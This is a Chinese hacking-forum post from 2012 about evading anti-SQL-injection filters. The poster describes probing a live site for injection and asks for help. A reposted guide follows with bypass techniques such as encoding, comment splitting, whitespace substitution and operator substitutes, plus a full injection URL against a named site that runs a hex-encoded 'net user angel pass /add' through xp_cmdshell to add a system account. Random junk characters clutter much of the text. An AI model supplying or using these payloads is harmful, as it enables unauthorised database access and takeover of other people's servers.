找回密码
 立即注册
查看: 2732|回复: 0
打印 上一主题 下一主题

饶过防注入系统方法总结

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:47:46 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
路过这个网站,检测了一下.
- L* K& y6 m' S9 R% J  g6 lhttp://www.xxx.cn/Article.asp?ID=117 and 1=1- O3 V6 ?) H+ s# |% S4 ^
直接返回主页
6 b  r2 B& R: \6 ?, S8 F. Vhttp://www.xxx.cn/Article.asp?ID=117 or 1=1
! ^; T, k% u: H- x$ U1 \* g5 l/ b6 C直接返回主页  E9 q; c+ v) ^- ]* v
http://www.xxx.cn/Article.asp?ID=117 or- P$ c7 b  l1 S
没有返回主页 没有过滤or
; @  S5 M" K0 ~http://www.xxx.cn/Article.asp?ID=117 and5 R! P4 e+ l9 G( v
直接返回主页 看来过滤了and
, [( F( O" N- {  N+ u0 n& khttp://www.xxx.cn/Article.asp?ID=117 or 1
. i% u, \9 h2 p  {6 h1 n没有返回主页 即没有过滤or 也没有过滤14 J( A  U7 O* j1 q+ Q
http://www.xxx.cn/Article.asp?ID=117 or 1=18 w: O3 V: U0 `( S
直接返回主页 很明显过滤了等号   N% N, z3 G/ C& A. w
or的特性是与and相反的.( \) ?6 e; [) x. L+ v
or 1=1 爆错 或与原页面不同
( r/ q$ y2 Q" d* Y2 Q9 D/ A/ Y$ aor 1=2 原页面相同
, `6 o# ?5 \  r3 ]' Q* ^% _! N这样就是一个注入点
& {# f9 m# j* t; v% }但他过滤了=号 我就用><号代替=号吧!+ H+ T& K) F8 z) W7 ]8 L( Y& o  ~
or 1<2 很明显是正确的,所以应该与原页面不同3 W5 X  T) q% h+ D$ [$ x  S
or 1>2 很明显是错误的,所以应该与原页面相同) `: [7 G# i% O0 P% i
然后看看有没有过滤其他的查询语句,比如select.& [# F8 d$ \; J, I1 p: ]
http://www.xxx.cn/Article.asp?ID=117 select
- _2 J1 P9 k0 n& b1 r6 i7 M直接返回主页
  i/ _2 }7 O0 C! ?- D又迷茫了..* ~6 B; U5 J# F' r# {8 I
( e, W. L9 B5 A

1 X* P' I1 P3 s. `cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
" P* T5 Y2 Y! {这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)6 g  x! X' S" t" Z! ]
================================================
0 _2 m$ Z2 p& W$ \以下是转贴:
) o$ l: e8 {# s' n1 l( N. n2 z. q  X
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……   Y3 R$ l8 y7 ]
经过我的收集,大部分的防注入程序都过滤了以下关键字: + y- W7 X7 x+ U. @
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
5 `  V. a# H7 a" c7 a# K而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 - x  t. U. y6 B- F& @& N0 U
对于关键字的过滤,以下是我收集的以及我个人的一些想法。
% g* x4 b. B% f, s1、运用编码技术绕过 - W' j8 F* M& e
如URLEncode编码,ASCII编码绕过。例如or 1=1即 2 a  Y7 ^8 `9 O% I
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。   E. }1 I. L+ S" B; M9 }' V

, E) ?1 [9 f* F( y% Y: O, C8 t( x/ H. u2、通过空格绕过
# v: p3 k# L- ~0 @" k: k如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 - |) I2 n7 F  x1 Z1 p' Z
or’ swords’ =‘swords’ ( h/ o8 {( @9 w2 \
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
# H' \! R$ ^. j2 m8 o8 i: I+ z! C3、运用字符串判断代替 0 s* w' W( a. j4 a  H
用经典的or 1=1判断绕过,如 ) B! ?; l; K& s2 O. ^
or ’swords’ =’swords’ , N# l: G$ A6 b
,这个方法就是网上在讨论的。
, {! Z$ z8 v9 L  i+ l3 Q+ p4、通过类型转换修饰符N绕过   {" z- \) V. h( H. c) @
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
% |0 C6 @+ z' q- L5、通过+号拆解字符串绕过 * E: r- @+ C4 {. C& S) D
效果值得考证,但毕竟是一种方法。如
9 `( N- L; b7 J+ w: N! Qor ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) 4 s% g! ^1 ^" r  B  A! [. i! W
+ B7 H! n! d! R5 k- c3 z
6、通过LIKE绕过
9 ]$ f9 [8 I5 r7 }8 Y以前怎么就没想到呢?如or
3 R. g: o% f" L2 F4 B5 f’swords’ LIKE ’sw’
2 L/ _' a3 p" g- M4 L# P; S!!!显然可以很轻松的绕过
3 ^9 y# d" b# C  P2 ]- m5 b“=”“>” $ Z1 N: |/ Y+ N* A* A5 J" n/ F
的限制…… " G0 w4 @& R: A, q
7、通过IN绕过
6 Y  `' X$ d- q. k/ q4 [( ]与上面的LIKE的思路差不多,如 3 s/ ^5 T9 B, D8 d
or ’swords’ IN (’swords’)
: W: G: E5 e8 D3 j  H* ^7 d  g+ S' u, v
8、通过BETWEEN绕过
& o5 h8 S+ n1 u& }
6 A; U9 U/ O) y7 J" [or ’swords’ BETWEEN ’rw’ AND ’tw’ 4 {7 @2 b$ k) m2 p6 @9 C' L$ m
0 ^5 L2 {. B5 {8 \, `9 d
9、通过>或者<绕过
6 D2 {0 k: O- r) J5 q  p" A2 Oor ’swords’ > ’sw’
6 @. [- V7 e0 e+ p8 xor ’swords’ < ’tw’ * M4 T$ t& h3 E1 I
or 1<3   C# Q; U2 v7 _% p
……
2 P' D3 R% q% ^: c9 K, u4 c10、运用注释语句绕过
3 D1 P( M0 W9 i( _用/**/代替空格,如: 6 [6 q. m; O' G7 s
UNION /**/ Select /**/user,pwd,from tbluser % c  m2 c( J/ z/ }; ~; j

3 g2 I% I. @7 Q4 i. T用/**/分割敏感词,如:
% F, z1 S. Z1 G+ j( j/ j4 }8 v6 NU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
& C2 `  ]1 J2 a" N# i3 E8 W0 J) Y  ]' Y) r( d; z
11、用HEX绕过,一般的IDS都无法检测出来 ! a* o( Y; r! K9 P9 O6 G
0x730079007300610064006D0069006E00 =hex(sysadmin)
2 {2 j, [3 l+ m$ U6 i7 M2 c) K$ o0x640062005F006F0077006E0065007200 =hex(db_owner) 5 P- B9 Z1 @1 N; }! W
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: - H! e6 M  ~! k$ v
  declare @a sysname
  A3 S  w9 S4 D+ J% I5 o  select @a=
. Q2 A) b7 z7 j2 L  exec master.dbo.xp_cmdshell @a ( w( O! F) ]* E
效果
! I7 v4 P3 r6 f# k3 B1 Ehttp://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- * ~% n2 Z) G7 }
9 y' b2 Z1 ]8 ?3 y8 ~! r+ O
其中的
) _$ A5 N6 b8 h1 Y0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 # l1 E3 Y# }! g5 ?) o
就是
5 o" B+ s7 `) A/ Q“net user angel pass /add”
- O+ ]- d2 Y6 d4 W% ~) Q7 p: x. I5 Z
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。+ o5 S# f  m6 M5 K; U+ |, F
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
: u4 a! \/ T9 N5 ]另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似4 F6 c0 a% S, W! k  A$ B
Copy code
6 B1 N) L7 H+ I0 A1 zselect * from table exec xp_cmdshell'xxxxxxxxxx'9 b; I& h; P2 k5 j+ u6 ]% Z: y

$ ^' W' a( W2 e7 q7 N! ?# W: U" @0 C. f; \# g3 s8 `; _6 ~
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'
. x" i. j/ ~" L% G! R
7 H( V6 Z/ D& _$ \8 n
/ B, p3 c5 H1 P' {  _select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
. B+ y" c& u' r0 e- E6 t* A
1 m5 J) I3 G: @# Q6 A6 h* J: x0 @
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
4 g! J* y; r/ ]; h2 V: a% ^5 B: F9 L* w  J4 i
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
8 G: j, j3 ^0 M$ L1 r( ]& ]' U0 O& z/ t/ |8 k
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了2 }, L' b) W) _2 {5 e, T
可能大家早就知道了,不管怎么说,发在这里吧!
: ?: w) ^0 Q7 o7 r6 Z: @" I  T$ n2 H* ^9 w0 u) r1 ?
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。& t) m8 g7 X4 n
* H) j6 A7 H. F! ?1 t7 k9 A0 k4 w# f

, h" G% p2 l0 Y; f+ X: U, o: Z2 p: Q
# ]( c8 P% }7 i! l# n- O/ l对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
2 g6 }# f# V5 z. ^- I* w7 V1 z比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? ' e% [% b) q" J+ B7 |! x; X' S: W
0 g9 f. v/ X: G* D' R& b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表